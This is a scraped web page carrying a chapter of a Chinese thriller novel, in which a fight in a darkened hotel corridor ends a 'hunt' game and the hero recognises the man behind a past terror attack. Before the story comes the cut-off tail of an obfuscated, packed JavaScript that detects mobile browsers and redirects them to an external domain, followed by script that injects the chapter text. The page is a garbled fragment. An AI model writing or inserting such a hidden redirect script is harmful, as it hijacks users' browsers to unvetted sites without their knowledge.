d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780710|157958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中默念着。 王嘉华血红的双眼紧盯着前方,穆沙的一切动作都变得相当迟缓。 “这不是训练用的弩……这是真正的枪!一旦失误就会丧命!”尽管已经进入了散华的状态,王嘉华依旧不敢有任何一丝懈怠。 “啪——”火光飞射,王嘉华身体向左侧翻,正面躲过了穆沙的子弹。 “啊?”穆沙困惑地看着眼前发生的事,不太敢相信:“这个人刚刚做了什么?他躲过了我的子弹?啊?” 面对持枪的穆沙,王嘉华落地后依旧保持着身体前倾的姿势,准备着第2发子弹。 “你还能躲过?”穆沙绝对不相信,他立刻伸出左手把枪膛里的弹壳取出,准备发射第二发子弹,可就在这时,王嘉华突然对着穆沙大喊到:“现在!” 穆沙立刻意识到,这句话并不是对他说的,而是对他身后的那具尸体! 穆沙猛然回头,他惊恐地看到,刚刚一直躺在地上的那具尸体突然站了起来,朝他冲了过来。 还未来得及退弹的穆沙无法开出第二枪,他下意识地俯身想要躲开,却发现根本来不及——一记回旋踢重击在穆沙的腰部,穆沙整个身体被巨大的冲击打在了墙上。 穆沙忍着痛抬头看去,那一直被风衣盖住头部的尸体终于露出了短发的圆脸——陈双赢。 “王嘉华!”陈双赢对着王嘉华大喊道:“佘孔渝拿到的钥匙是真的,穆沙手上的是假的!” 穆沙立刻意识到,刚刚他回到那苏百的尸体旁时,酒店还未通电,一片漆黑中,他没有认出来更没有想到那具尸体其实是陈双赢假扮的。 陈双赢比穆沙更早回到了那苏百的尸体旁,并从尸体上找到了真正的锁孔钥匙,随后她将那苏百的尸体挪走藏好,自己伪装成尸体躺在原地,同时把真钥匙的标签贴在了一枚假钥匙上,放进裤子的左口袋中。 “也就是说,我刚刚只是用一把假钥匙换了另一把假钥匙而已……真正的钥匙一直都在陈双赢的身上!”穆沙不甘心地看着两人。 王嘉华回答陈双赢:“我早就知道了。” “一个回旋踢……一个躲子弹……你们到底是怎么回事?”穆沙捂着腰,重新将枪口抬了起来,对准了陈双赢。 陈双赢淡定自若地站在原地,单脚向后挪动了一小步,侧着身体看着穆沙。 王嘉华大喊:“小心!” 就在穆沙按下扳机的前一秒,酒店的灯光突然再次熄灭,随后又明亮了起来。整个走廊在一瞬间变得特别明亮,不再昏暗。 “猎杀结束。”广播中传来的杰西卡慵懒的声音:“所有员工立即停止一切行动,禁止伤害他人。” 在最后的关头,佘孔渝用那把真钥匙打开了逃生门,结束了今天的猎杀。 王嘉华和陈双赢互相看了一眼。与此同时,穆沙头上的面具突然闪过一道电流!穆沙瞬间就晕倒在了原地。 陈双赢:“原来这就是鬼人必须佩戴面具的原因。” 王嘉华看着陈双赢,血红的眼睛慢慢暗淡了下去。 …… “你刚刚为什么救我?”王嘉华喘着气说:“对你来说,让他把我杀了不是更好?” “机会只有一瞬间,我是真的想杀了穆沙。”陈双赢:“穆沙吃了那苏百的余额,然后又吃了翻倍的奖励,现在他银行卡里的钱恐怕比我们其他人加起来都多。” 陈双赢不愿看到的是某个员工的优势大大领先于其他人,因为她深知,在翻倍奖励的机制下,拥有优势的人,优势会越来越大。 此时的穆沙对陈双赢来说是一个巨大的威胁。 王嘉华慢慢走到了晕倒的穆沙面前,摘下了他脸上的狼嘴面具,仔细观察着穆沙的面容。 “你认识他吗?”陈双赢一边擦拭着身上的血迹,一边问。 王嘉华:“如果我没记错,这是那个名叫丹·汉克斯的男人的脸吧。” 陈双赢:“是的,穆沙把自己的名字和样貌都改成了丹,代替他活着。而真正的丹失去了名字,一直住在柔佛山中当野人。” 王嘉华:“那是多久之前的事了?” 陈双赢:“一年前。” “一切都对上了。”王嘉华内心说着,闭上了眼睛。 陈双赢:“奇怪?” 王嘉华:“怎么了?” 陈双赢:“你这么胆小,怎么敢去搜尸体上的东西?” 王嘉华:“我早就看出来那个尸体其实是你。” 突然,王嘉华如针刺一般的头痛! 陈双赢:“你怎么了?” “退返又来了!”王嘉华抱着头跪在地上,痛苦地呻吟着。他听不清陈双赢在说什么,逐渐地意识模糊,倒在了原地。 …… 梦境中,一年前的百货大楼,王嘉华再次见到了那个歹徒的脸。 王嘉华慢慢靠近着歹徒。然而这一次,歹徒的脸变得模糊不清。歹徒开始恐慌、惧怕,躲避着王嘉华的眼神。 当王嘉华走到歹徒的面前时,他再次看清了歹徒的样貌——那正是丹·汉克斯的脸。 …… 平等号再次启航,回到了新加坡的港口。 …… 次日早上。平等号,王嘉的房间。 睡在床上的王嘉华睁开了双眼。天空不再阴沉,清晨的阳光照在王嘉华的被角和枕边。 穆沙·哈吉,30岁,男,前南顿制药所的研发者,在逃通缉犯。 通过昨天的经历,王嘉华可以确认——穆沙·哈吉就是一年前,那个在百货大楼发动恐怖袭击、让艾雅琳感染上黑山羊病毒的罪魁祸首。 …… 11月4日,入职第四天,早上8点。平等号会议室。 新一轮的身份抽取又开始了。 “一切都是他造成的。”王嘉华神色凝重,捏紧了拳头。 杰西卡将不同颜色的5张信封摊在了圆桌上。 “他犯下的罪过永远都无法弥补。” 每个人从圆桌上拿走了一张信封。 “给我一个机会吧。” 王嘉华回到了自己的座位上。 “上帝、佛祖、什么神都行……请给我一个机会。” 王嘉华拆开了手中那张白色的信封,拿出了里面的卡片。 “一个能亲手杀掉他的机会。” …… “你今天的身份是内鬼。”卡片上写着这样一句话。